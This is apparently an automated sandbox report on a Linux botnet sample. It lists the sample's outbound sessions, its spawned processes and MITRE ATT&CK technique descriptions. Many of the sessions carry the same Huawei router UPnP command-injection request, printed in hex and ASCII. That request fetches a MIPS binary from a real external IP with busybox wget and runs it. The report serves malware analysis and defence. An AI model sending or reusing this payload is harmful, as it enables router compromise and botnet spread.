62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	42192	197.251.163.22	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.223325968 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	59056	156.134.127.99	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.223936081 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	34226	41.180.9.202	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.224572897 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	36732	197.190.221.23	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.225212097 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: dash PID: 5468, Parent PID: 3633

General

Start time (UTC):	12:14:00
Start date (UTC):	25/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:14:00
Start date (UTC):	25/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	12:14:00
Start date (UTC):	25/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:14:00
Start date (UTC):	25/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	12:14:07
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	/tmp/rsJtZBgpwG.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:08
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:08
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:08
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:08
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:08
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:19
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:20
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:20
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:20
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:28
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:29
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:29
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:29
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:29
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:29
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:30
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:31
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:32
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:32
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:33
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:34
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:14:35
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:16:13
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	12:16:15
Start date (UTC):	25/09/2024
Path:	/tmp/rsJtZBgpwG.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
